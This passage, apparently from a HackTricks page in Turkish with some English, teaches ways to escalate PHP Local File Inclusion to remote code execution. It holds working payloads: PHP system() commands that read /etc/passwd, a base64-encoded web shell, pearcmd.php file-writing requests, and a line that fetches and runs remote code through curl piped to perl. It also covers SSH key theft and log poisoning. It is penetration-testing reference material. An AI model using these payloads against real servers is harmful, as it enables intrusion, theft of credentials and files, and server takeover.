/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Cookie’yi şu değere ayarla: <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
PHP session dosyasını include etmek için LFI’yi kullanın.
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
ssh ile
Eğer ssh aktifse hangi kullanıcının kullanıldığını kontrol et (/proc/self/status & /etc/passwd) ve <HOME>/.ssh/id_rsa dosyasına erişmeyi dene
Üzerinden vsftpd logları
FTP sunucusu vsftpd için loglar /var/log/vsftpd.log konumundadır. Bir Local File Inclusion (LFI) zafiyeti varsa ve açığa çıkmış bir vsftpd sunucusuna erişim mümkünse, aşağıdaki adımlar değerlendirilebilir:
- Giriş işlemi sırasında username alanına bir PHP payload enjekte et.
- Enjeksiyon sonrası, LFI’yi kullanarak sunucu loglarını /var/log/vsftpd.log dosyasından al.
php base64 filter ile (base64 kullanarak)
Bu this makalede gösterildiği gibi, PHP base64 filter Non-base64 karakterleri göz ardı eder. Bunu dosya uzantısı kontrolünü atlamak için kullanabilirsiniz: eğer sonu “.php” ile biten bir base64 verirseniz, filter “.”’ı yok sayar ve base64’e “php” ekler. İşte bir örnek payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
php filters ile (dosya gerekmez)
This writeup explains that you can use php filters to generate arbitrary content as output. Which basically means that you can generate arbitrary php code for the include without needing to write it into a file.
segmentation fault ile
Upload edilecek ve /tmp içinde geçici olarak saklanacak bir dosya yükleyin; sonra aynı istek içinde bir segmentation fault tetikleyin — bu durumda geçici dosya silinmeyecek ve onu arayabilirsiniz.
LFI2RCE via Segmentation Fault
Nginx temp file storage ile
Eğer bir Local File Inclusion bulduysanız ve Nginx PHP’nin önünde çalışıyorsa, aşağıdaki teknikle RCE elde edebilirsiniz:
PHP_SESSION_UPLOAD_PROGRESS ile
Eğer bir Local File Inclusion bulduysanız, oturumunuz olmasa bile ve session.auto_start Off olsa bile. Eğer multipart POST verisinde PHP_SESSION_UPLOAD_PROGRESS sağlarsanız, PHP session’i sizin için etkinleştirecektir. Bunu RCE elde etmek için kötüye kullanabilirsiniz:
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Windows’ta temp file uploads ile
Eğer bir Local File Inclusion bulduysanız ve sunucu Windows üzerinde çalışıyorsa RCE elde edebilirsiniz:
pearcmd.php + URL args ile
As explained in this post, the script /usr/local/lib/phppearcmd.php exists by default in php docker images. Moreover, it’s possible to pass arguments to the script via the URL because it’s indicated that if a URL param doesn’t have an =, it should be used as an argument. See also watchTowr’s write-up and Orange Tsai’s “Confusion Attacks”.
The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Aşağıdaki örnek bir CRLF vuln kullanılarak RCE elde ediyor (kaynak: here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
phpinfo() ile (file_uploads = on)
Eğer bir Local File Inclusion ve file_uploads = on olan phpinfo() gösteren bir dosya bulduysanız, RCE elde edebilirsiniz:
compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure ile
Eğer bir Local File Inclusion bulduysanız ve geçici dosyanın yolunu exfiltrate edebiliyorsanız, FAKAT server dahil edilecek dosyanın PHP marks içerip içermediğini checking yapıyorsa, bu Race Condition ile o kontrolü bypass etmeyi deneyebilirsiniz:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
eternal waiting + bruteforce ile
Eğer LFI’yi kötüye kullanarak upload temporary files yapabiliyor ve server üzerinde PHP yürütmesini hang edecek şekilde etkileyebiliyorsanız, geçici dosyayı bulmak için saatlerce brute force filenames yapabilirsiniz:
Fatal Error’a
Eğer /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar dosyalarından herhangi birini include ederseniz. (Bu hatayı tetiklemek için aynı dosyayı 2 kez include etmeniz gerekir).
Bunun ne kadar yararlı olduğunu bilmiyorum ama işe yarayabilir.
PHP Fatal Error’a neden olsanız bile, yüklenen PHP temporary files silinir.
.png)
References
-
PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
-
When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
-
Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


